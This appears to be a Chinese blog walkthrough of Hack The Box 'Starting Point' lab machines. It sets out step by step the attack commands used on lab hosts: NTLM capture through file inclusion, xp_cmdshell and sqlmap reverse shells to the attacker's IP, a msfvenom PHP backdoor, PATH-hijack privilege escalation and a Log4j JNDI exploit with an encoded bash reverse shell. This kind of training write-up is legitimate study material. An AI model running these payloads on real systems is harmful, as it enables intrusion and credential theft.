htb:Starting Point

目录

  • 第0层
  • 第1层
    • 第1~3关
    • 第4关:Responder
      • 端口探测
      • 网站探测
      • 本地文件包含漏洞利用
      • 爆破NTLM的哈希
      • 连接靶机
    • 第5关:Three
    • 第6~9关(VIP)
  • 第2层
    • 第1关:Archetype
      • 端口探测
      • SMB探测
      • 连接SQL服务
      • 基于xp_cmdshell反弹shell
      • Flag
      • 提权
    • 第2关:Oopsie
      • 端口探测
      • 网站探测
      • BurpSuite目录发现
      • 越权漏洞
      • 文件上传反弹shell
      • 切换身份-flag1
      • 提权
    • 第3关:Vaccine
      • 端口探测
      • 21端口探测
      • 爆破压缩包-获取web账号密码
      • 登录web-sql注入反弹shell
      • SSH登录-Flag1
      • 提权-flag2
    • 第4关:Unified
      • 端口探测
      • 网站探测
      • log4j漏洞利用(不出网)
      • 替换MongoDB密码hash值
      • 登录unifi-获取SSH账号密码
      • SSH登录root-2个flag
    • 第5~6关(VIP)

第0层

第0层部分靶机免费,部分靶机收费。由于这部分太过简单,因此一笔带过。
第一关Meow是telnet靶场:https://www.bilibili.com/video/BV1nS4y137GQ
第二关Fawn是ftp靶场:https://www.bilibili.com/video/BV11F41147Kf
第三关Dancing是SMB靶场:https://www.bilibili.com/video/BV1nS4y137vm
第四关Redeemer是Redis靶场:https://www.theethicaldroid.com/hack-the-box/htb-walkthrough-tier-0-redeemer
第五关Explosion是RDP靶场(VIP):https://www.bilibili.com/video/BV1RL4y1T75j
第六关Preignition是目录爆破(VIP):https://www.bilibili.com/video/BV1qL411P76v
htb:Starting Point_第1张图片

第1层

htb:Starting Point_第2张图片

第1~3关

  1. 第一关Appointment(考察万能密码登录web):https://www.bilibili.com/video/BV1Fa411b77H
  2. 第二关Sequel(考察MariaDB):https://www.bilibili.com/video/BV1Ei4y1k7jP
  3. 第三关Crocodile(ftp下载敏感文件获取账号密码,目录爆破登录网页):https://www.bilibili.com/video/BV1rT4y1e7Nw

第4关:Responder

通关教程视频:https://www.bilibili.com/video/BV1GS4y1Y716
开启靶机后先下载一下通关攻略,个人觉得开局来个NTLM这种横向移动中才用到的技术,有点难为新手了。由于文档是全英文的,因此这里使用谷歌翻译处理一下,翻译效果还不错。
htb:Starting Point_第3张图片

htb:Starting Point_第4张图片

端口探测

探测到2个开放的端口

nmap -p- --min-rate 5000 -sV 10.129.72.220

htb:Starting Point_第5张图片

网站探测

一看这个德行,就知道要修改hosts文件了。
在这里插入图片描述

页面上点击一番后,发现修改页面语言的时候URI地址发生了有趣的变化
htb:Starting Point_第6张图片

根据通关攻略,发现了本地文件包含漏洞
htb:Starting Point_第7张图片

本地文件包含漏洞利用

在靶场中,windows本地文件包含漏洞不算一个严重的漏洞,但是靶机开放了5985端口,我们就可以利用NTLM。这部分的内容比较复杂,不做解释。
攻击端准备
攻击者使用Responder监听tun0网卡,然后通过浏览器或者curl命令,让靶机包含来自SMB服务器的资源,在这种情况下,因为我们可以自由指定 SMB 共享的地址,所以我们指定了攻击机器的 IP 地址。现在服务器尝试从我们的 SMB 服务器加载资源,并且 Responder 捕获了足够的资源以获取 NetNTLMv2。NetNTLMv2 包括质询(随机文本)和加密响应。

git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I tun0

htb:Starting Point_第8张图片

爆破NTLM的哈希

  1. 解压字典:gzip -d /usr/share/wordlists/rockyou.txt.gz
  2. 爆破:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

htb:Starting Point_第9张图片

连接靶机

我们将连接到目标上的 WinRM 服务并尝试获取会话。因为 Linux 上默认没有安装 PowerShell,所以我们将使用一个名为Evil-WinRM的工具,它是为这种情况而设计的。根据通关攻略得知Flag的位置。

evil-winrm -i 10.129.72.220 -u administrator -p badminton

htb:Starting Point_第10张图片

第5关:Three

通关教程:https://ewan67.github.io/posts/htb-writeup-tier1-three/
这一关考察的是AWS S3,相信这一块对于国内的安全从业者还是挺陌生的,云安全的从业者并不多。按照教程可以打通这关,在文件上传的时候,我费了点时间。这里说几个注意事项。

  1. 爆破出子域名后,需要修改hosts文件,否则会导致文件上传失败
  2. 上传反弹shell的文件时,反弹的地址不可以写VPS的地址,必须写VPS的tun0网卡地址
  3. VPS放行nc监听的端口,才可以正常反弹shell

第6~9关(VIP)

第6关(Ignition):https://www.bilibili.com/video/BV1Ma41147ZF
第7关(Bike):https://www.bilibili.com/video/BV1434y147av
第8关(Pennyworth):https://www.bilibili.com/video/BV1FT4y1v7V4
第9关(Tactics):https://www.bilibili.com/video/BV1CL4y1L7kJ

第2层

第1关:Archetype

通关视频教程:https://www.bilibili.com/video/BV1R3411J7J2
通关文字教程:https://systemweakness.com/archetype-hackthebox-walkthrough-be99a1fba8ea
我这里依旧是下载官方攻略,并使用Google翻译把攻略翻译成中文,这一点已经在“第1层 → 第4关”中演示过。这个靶机主要是考察1443端口的Microsoft SQL Server。关于此端口的更多利用姿势参加:https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-os-commands

端口探测

注意到靶机上运行着Microsoft SQL Server,SMB服务。

nmap -p- 10.129.175.179 --min-rate 4000
nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 10.129.175.179 -A

htb:Starting Point_第11张图片

SMB探测

这里使用smbclient尝试连接靶机,直接连接的时候要密码,回车即可,发现可以连上。那么下次碰到这种情况就可以加上-N参数,表示没有密码。通过下图注意到-N参数如果位置不对,可能还是得输入密码。
htb:Starting Point_第12张图片

探测发现backups目录中存在一个账号密码:ARCHETYPE\sql_svc、M3g4c0rp123
htb:Starting Point_第13张图片

连接SQL服务

现在让我们远程登录到SQL Server,但是如何做到这一点?在官方攻略中,我们将找到一个名为“mssqlclient.py”的工具。此工具将使我们能够登录到目标的SQL Server服务器。

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -r requirements.txt
sudo python3 setup.py install
cd impacket/examples/
mssqlclient.py -h

发起连接:./mssqlclient.py Archetype/[email protected] -windows-auth
htb:Starting Point_第14张图片

尝试执行个命令看看呢?报错了,根据错误信息得知xp_cmdshell
htb:Starting Point_第15张图片

然后怎么玩呢?谷歌搜索“xp_cmdshell”找到了微软的官方文档:https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?source=recommendations&view=sql-server-2016(手工把上面地址中的“en-us”修改为“zh-cn”可以看到中文文档,但是翻译的有点问题,所以下图使用的是英文文档)
htb:Starting Point_第16张图片

接下来按照微软官方的教程,先确认自己是管理员权限,然后逐步启动“xp_cmdshell”来实现命令执行效果。

SELECT is_srvrolemember('sysadmin');
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell "whoami"

htb:Starting Point_第17张图片

基于xp_cmdshell反弹shell

可以参见这篇文章:https://pentestwiki.org/academy/how-to-get-a-xp_cmdshell-reverse-shell/
由于我已经可以在SQL Server中执行命令了,因此我会让靶机下载一个nc反弹连接我。

  1. VPS下载nc:wget https://github.com/int0x33/nc.exe/blob/master/nc.exe
  2. VPS开启web服务:python -m http.server 80
  3. 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc.exe -OutFile c:\\Users\Public\\nc.exe"
  1. VPS开启端口监听:nc -nvlp 4444
  2. 靶机运行nc上线:xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.175 4444"

htb:Starting Point_第18张图片

结果是比较倒霉,上传的nc与系统不兼容,我刚才上传的应该是32位的,重新上传64位呢?于是来到官方攻略中提到的网站https://github.com/int0x33/nc.exe下载并上传了64位的,再次提示版本不兼容。还是得自己动手丰衣足食!在我之前的笔记中记录过windows通过nc上线:语雀地址、CSDN地址

  1. VPS下载并解压nc:
wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
unzip netcat-win32-1.11.zip
cd netcat-1.11
  1. VPS开启web服务:python -m http.server 80
  2. 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc64.exe -outfile c:\\Users\Public\\nc64new.exe"
  1. VPS开启端口监听:nc -nvlp 4444
  2. 靶机运行nc上线:xp_cmdshell "c:\\Users\Public\\nc64new.exe -e cmd.exe 10.10.14.175 4444"

htb:Starting Point_第19张图片

Flag

得到Flag:3e7b102e78218e935bf3f4951fec21a3
htb:Starting Point_第20张图片

提权

这里使用工具:PEASS-ng

  1. VPS下载提权工具并投递:
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221016/winPEASx64.exe
python -m http.server 80
  1. 靶机下载工具,并运行它
powershell	# 切换终端为powshell
wget http://10.10.14.175/winPEASx64.exe -outfile winPEASx64.exe
./winPEASx64.exe

htb:Starting Point_第21张图片

  1. 发现敏感文件

直接运行提权脚本没有看到黄色高亮的漏洞,通过官方攻略得知存在一个敏感文件
账号密码:administrator、MEGACORP_4dm1n!!
连接靶机:python3 /home/kali/test/impacket/examples/psexec.py [email protected]
htb:Starting Point_第22张图片

  1. 以管理员身份登录靶机,并拿到了最后一个Flag:b91ccec3305e98240082d4474b848528

htb:Starting Point_第23张图片

第2关:Oopsie

通关视频:https://www.bilibili.com/video/BV173411T7Kp

端口探测

nmap -p- --min-rate 4000 -sV 10.129.88.18

htb:Starting Point_第24张图片

网站探测

开局就是一个静态页面,啥都没有,直接目录爆破,这里比较遗憾,使用dirsearch没有爆破出有价值的结果,我当然可以更换别的字典,但是这会消耗我VPS不少流量,我决定换种方法。
htb:Starting Point_第25张图片

htb:Starting Point_第26张图片

BurpSuite目录发现

在上一篇文章中我介绍了我是使用“SSH本地socks5代理”技术来打靶的,因此我只需要配置一下BurpSuite的Socks5即可用它测试web
htb:Starting Point_第27张图片

打开网站之后,bp发现了一个url,访问一下,看到了一个登录窗口,简单的密码爆破无果后,选择以访客模式进入网站,登录之后首先就注意到了uri中的id值是可以改变的,sqlmap一把梭,但是没有扫出来。既然没有SQL注入,那么最有可能是就是越权漏洞了。
htb:Starting Point_第28张图片

htb:Starting Point_第29张图片

越权漏洞

观察bp的流量包发现cookie值似乎和用户的身份有关,那么我能否通过修改cookie实现越权呢?
当把id改为1的时候,页面显示出了管理员的名字和对应的值,那么就修改一下cookie值验证是否能越权。
htb:Starting Point_第30张图片

结果发现,变成管理员之后,文件上传功能可以使用了。记得目录爆破的时候发现了uploads目录,这个时候就是文件上传反弹shell了。
htb:Starting Point_第31张图片

文件上传反弹shell

这里演示MSF获取反弹shell。我这里第一次没有成功,看了攻略才知道如果shell文件不存在,有可能是靶机删除了,需要重新上传。

生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.175 LPORT=4444 -f raw > ./phpweb.php

开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.14.175
exploit

获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

htb:Starting Point_第32张图片

切换身份-flag1

通过敏感文件找到了robert用户的密码:M3g4C0rpUs3r!得到Flag:f2c74ee8db7983851ab2a96a44eb7981
既然如此,就不用反弹的那个不好用的shell了,直接ssh登录
htb:Starting Point_第33张图片

提权

常规提权方法失效,开始收集敏感文件。以前的思路是搜索“文件所有者是root、文件具有可执行权限、其他用户具有可写权限的所有文件”或者搜索“搜索既可执行,又有suid权限,所有者是root的文件”,但是搜索结果太多,肉眼看不出可疑文件。
根据官方攻略,思路拓宽了一些,根据id发现当前用户属于bugtracker组,于是:

  1. 搜索搜索属于这个组的所有文件:find -group bugtracker 2>/dev/null

但是这种搜索的结果应该比较多(忽略此次只搜索出一个结果),我觉得命令应该改造一下:搜索文件所有者是root的文件,并且其他用于对此文件既可执行,又有suid权限,并且还属于某个组

find / -type f -user root -perm -u+sx -group bugtracker -ls 2>/dev/null
  1. 分析发现这个文件是个可执行文件,执行发现它在调用cat,由于没有使用绝对路径调用cat,那么就可以通过修改环境变量实现提权。
  2. 修改环境变量
# 查看当前环境变量
echo $PATH

# 把一个shell的路径写入到cat文件中,并确认环境变量写入成功
echo "/bin/bash" > cat
chmod +x cat
export PATH=/home/robert:$PATH
echo $PATH

# 运行可执行文件,以root权限拿到shell
/usr/bin/bugtracker

htb:Starting Point_第34张图片

  1. 获取flag

由于cat命令被占用了,所以使用tail命令查看,得到Flag:af13b0bee69f8a877c3faf667f7beacf
htb:Starting Point_第35张图片

额外补充,如果我非要用cat怎么办?有两种办法

  1. 使用绝对路径调用cat
  2. 删除我添加的环境变量

htb:Starting Point_第36张图片

第3关:Vaccine

通关视频:https://www.bilibili.com/video/BV1KY411j7Pa

端口探测

发现开放了21,22,80端口,其中21端口支持匿名登录。

nmap -p- --min-rate 4000 -sV 10.129.204.126
nmap -p21,22,80 -A 10.129.204.126

htb:Starting Point_第37张图片

21端口探测

发现了一个意思备份文件的压缩包
htb:Starting Point_第38张图片

爆破压缩包-获取web账号密码

爆破得到解压密码:741852963

zip2john backup.zip >  hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
unzip backup.zip

htb:Starting Point_第39张图片

阅读爆破出的文件,发现了一个用户名和md5加密后的密码
htb:Starting Point_第40张图片

使用在线平台获取到密码 qwerty789:https://www.cmd5.com/

登录web-sql注入反弹shell

登录之后看到一个搜索框,随便输入点数据,疑似SQL注入漏洞
htb:Starting Point_第41张图片

sqlmap一把梭,发现确实存在sql注入:

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd"

首先检查发现自己有DBA权限:

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --is-dba

那就直接拿shell吧,这里进行了多次尝试,最终通过nc拿到shell

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --os-shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.175 4444 >/tmp/f
python3 -c 'import pty; pty.spawn("/bin/bash")'

htb:Starting Point_第42张图片

htb:Starting Point_第43张图片

SSH登录-Flag1

在web目录下以pass作为关键字,使用命令grep pass *搜索,在"dashboard.php"中发现一组账号密码:postgresP@s5w0rd!,然后顺利使用此账号密码SSH登录了靶机,拿到Flag:ec9b13ca4d6229cd5cc1e09980965bf7
htb:Starting Point_第44张图片

htb:Starting Point_第45张图片

提权-flag2

简单的sudo提权,用到了vi提权:https://gtfobins.github.io/gtfobins/vi/
得到flag:dd6e058e814260bc70e9bbdef2715849
htb:Starting Point_第46张图片

第4关:Unified

通关视频:

  1. https://www.youtube.com/watch?v=nwHSFUn2RuA
  2. https://www.bilibili.com/video/BV1q34y1Y72d

端口探测

nmap -p- --min-rate 4000 -sV 10.129.171.50
nmap -p22,6789,8080,8443,8843,8880 -A 10.129.171.50

网站探测

打开网站如下图,根据 unifi 和版本号 6.4.54 在谷歌上搜索,搜素结果显示它似乎容易收到 log4j 漏洞的影响。我自然而然的就启动了BurpSuite,但是很奇怪,插件 log4j2scan 没有扫描出来。猜测应该是靶机出网流量受限(后面我们会证明这一点),在网上搜索一番后,找到了漏洞利用文章 (文章介绍了漏洞验证和漏洞利用,下面的所有操作都是围绕着这篇文章展开的)https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi
htb:Starting Point_第47张图片

log4j漏洞利用(不出网)

注意,我们是通过搜索服务名称和版本号发现此漏洞的!
发送payload之后,收到一条错误提示,那到底有没有漏洞呢?LDAP运行的默认端口为389,让我们来看一下389端口的流量吧。结果抓到了流量,说明极有可能存在漏洞。
htb:Starting Point_第48张图片

htb:Starting Point_第49张图片

现在开始漏洞利用
攻击者准备:

  1. 安装openJDK
sudo apt update
sudo apt install openjdk-11-jdk -y
java --version
  1. 准备攻击工具Maven
sudo apt install maven
mvn -v

htb:Starting Point_第50张图片

  1. 下载并构建Rogue-JNDI Java 应⽤程序
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

htb:Starting Point_第51张图片

  1. 生成用于 JNDI 注入攻击的恶意 LDAP 服务器
echo 'bash -c bash -i >&/dev/tcp/10.10.14.175/4444 0>&1' | base64
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTc1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.175"

htb:Starting Point_第52张图片

发送一下数据包,成功反弹shell
htb:Starting Point_第53张图片

获取交互式shell:script /dev/null -c bash
在这里插入图片描述

替换MongoDB密码hash值

由于unifi需要MongoDB作为它的数据库,默认的数据库名是ace,所以我们先检查一下有没有MongoDB服务。同时文章指出,MongoDB能帮助提权,那么就来找一下MongoDB。
检查发现靶机在27117端口运行着MongoDB,尝试与MongoDB交互获取账号密码

ps aux | grep mongo
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

htb:Starting Point_第54张图片

由于密码是$6$开头的,通过靶场攻略得知这个是sha-512加密算法的特点,当然我也可以通过hashid证明。由于这种加密存在加盐,因此每次加密结果都不一样。现在爆破密码就算了,我还是生成一个新的来偷梁换柱。

hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
mkpasswd -m sha-512 123456

htb:Starting Point_第55张图片

替换管理员的哈希值

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$uaBrPNpdaXCYReU7$xJ..g92Sl9QxUIvUpbvJRDH7DyUT3oWenGBZeLUXjYqOjcDh9TINtXb0aDoPBHYN/ZgCetNZmLnosZJkLaAJT1"}})'

htb:Starting Point_第56张图片

登录unifi-获取SSH账号密码

使用账号密码administrator、123456登录系统,
找到了SSH登录靶机的账号密码:root、NotACrackablePassword4U2022
htb:Starting Point_第57张图片

SSH登录root-2个flag

得到2个flag

  1. 用户的:6ced1a6a89e666c0620cdb10262ba127
  2. root的:e50bc93c75b634e4b272d2f771c33681

htb:Starting Point_第58张图片

第5~6关(VIP)

第5关:https://www.bilibili.com/video/BV13S4y1A7N8
第6关:https://www.bilibili.com/video/BV1PZ4y127g9

你可能感兴趣的:(靶机,htb)